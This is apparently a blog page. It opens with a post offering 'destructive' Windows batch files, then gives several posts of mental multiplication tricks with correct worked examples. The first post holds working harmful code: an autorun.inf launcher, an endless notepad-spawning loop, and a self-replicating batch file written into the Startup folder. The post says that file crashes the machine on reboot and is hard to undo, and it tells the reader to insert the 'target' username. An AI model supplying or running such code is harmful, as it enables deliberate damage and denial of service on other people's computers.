Showing posts with label MULTIPLICATION. Show all posts
Showing posts with label MULTIPLICATION. Show all posts

Monday, 22 October 2012

DESTRUCTIVE BATCH FILE- 5

BATCH FILES - SOME TRICKY VIRUS

1. AUTORUN VIRUS

      [autorun]

Open=Pirus.bat

Shellexecute=Pirus.bat


save the above code as autorun.inf and run


2.HANG COMPUTER BY OPENING NOTEPAD RANDOMLY

   @ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
      
save the above code as autorun.bat and run

 3.SCREW UP YOUR COMPUTER

bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start


This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefinitely. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. May be rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.

4.CODE FOR OPENING AND CLOSING CD DRIVE


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count = 1 then
for i = 0 to colCDROMS.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
end if save as .vbs


PLs save as .vbs not .bat

Thursday, 17 November 2011

**MULTIPLY TWO NUMBERS WHICH ARE NEAR 100(2)

if the given nos are more than 100
take that two nos---
at first subtract 100 from those number
now, the first three digit of multiplication result will be (any given no + another's subtraction result )
and the last two digit will be multiplication of those two subtraction result

...........................................................................................
EX:-
104*103=?
here 104 is 4 more than 100 and 103 is 3 more than 100
so the first three digit will be (104+3) or (103+4) or 107
and last two digit will be 3*4 or 12
so the ans will be 10712

**MULTIPLY TWO NUMBERS WHICH ARE NEAR 100(1)

if the given nos are less than 100
take that two nos---
at first subtract those numbers from 100
now, the first two digit of multiplication result will be (any given no - another's subtraction result )
and the last two digit will be multiplication of those two subtraction result

...............................................................................................................................
EX:-
92*94=?
here 92 is 8 less than 100 and 94 is 6 less than 100
so, first two digit will be (92-6) or (94-8) or 86
and last two digit will be 6*8=48
so the ans will be 8648

Friday, 11 November 2011

**MULTIPLY TWO 3 DIGIT NUMBERS MENTALLY

the name of the trick is the cross multiplication technique

lets start with the numbers...  987*654

Step 1--- arrange the numbers in order (one on top of the other) your pick.

987
654
----------

start by first multiplying 7*4=28. write down the 8 and carry the  2 mentally.

987
654
---------- CARRY 2
----8

Step 2---- attempt to form an invisible X
It may not sound simple at first but I'll explain.

Start by observing the 8 & 4, then the 5 & 7. Make a line between those numbers and you will get an X.

Now multiple 8*4=32 PLUS(+) 5*7=35
so 32+35=67
67 + 2 (the carry)= 69
Now write down the 9 and carry the 6 mentally.

987
654
---------- CARRY 6
---98

Step 3--- now examine the numbers 4 & 9, 6 & 7, then in the middle 8 & 5.

Multiply them and add em' all up:
4*9=36  +6*7=42  +8*5= 40
so 36+42+40 = 118 PLUS carry 6 = 124.

Write down the 4 and carry the 12.

987
654
---------- CARRY 12
--498

Step 4--- Now we will attempt the invisible X for the last time. This time take notice of the numbers 9 & 5, 6 & 8
multiply them and add em' all up:
5*9=45 + 6*8=48
so 45 +48 = 93 PLUS carry 12 = 105.
Write down the 5 and carry the 10.

987
654
---------- CARRY 10
--5498

Step 5 (final step)--- In the beginning we started by multiplying 7 & 4. Now we will multiply 9 & 6.
so 9*6=54 + carry 10 = 64

Write it down and the behold the FINAL ANSWER!

987
654
----------
645498
 
 

**MULTIPLICATION OF 11 WITH ANY 3 DIGIT NUMBER

explain this rule by taking examples
1. 352*11 = 3---(3+5)---(5+2)---2 = 3872
Means insert the sum of first and second digits, then sum of second and third digits between the two terminal digits of the number
2. 213*11 = 2---(2+1)---(1+3)---3 = 2343

if sum of two digits of the number is greater than 10, then add 1 to previous digit and subtract 10 to the associated digit.

..............................................................................
EX:-
1) 329*11 = 3--- (3+2) +1--- (2+9-10) ---9 = 3619
2) 758*11 = 7+1---(7+5-10)+1---(5+8-10)---8 = 8338

**MULTIPLICATION OF 11 WITH ANY 2 DIGIT NUMBER

explain this rule by taking examples
35*11 = 3---(3+5)---5 = 385
Means insert the sum of first and second digits between the two digits of the number
27*11 = 2---(2+7)---7 = 297


 if sum of two digits of the number is greater than 10, then add 1 to first digit and subtract 10 to the inserted term
......................................................................

EX:-
39*11 = 3+1---(3+9-10)---9 = 429

71*11=7+1----(7+1)---1=881

**MULTIPLICATION OF TWO NUMBERS , IN BETWEEN 11 TO 19

explain this rule by taking examples
13*19 = (13+9)*10 + (3*9) = 220 + 27 = 247
Means add first number and last digit of the second number take zero in the third place of this number then add product of last digit of the two numbers in it

....................................................................................


18*14 = (18+4)*10 + (8*4) = 220 + 32 = 252

**MULTIPLICATION OF ANY NUMBER BY 11

explain this rule by taking examples
1) 234163*11 = 2---2+3---3+4---4+1---1+6---6+3---3 = 2575793
Means insert the sum of 2 successive digits and put 2 terminal digits in its place
2) 45345181*11 = 4---4+5---5+3---3+4---4+5---5+1---1+8---8+1---1 = 498796991

 if sum of two digits of the number is greater than 10, then add 1 to first digit and subtract 10 to the inserted term
...................................................................

374827*11 = 3+1--- (3+7-10) +1--- (7+4-10) +1--- (4+8-10) +1--- (8+2-10)--- (2+7) ---7 = 4123097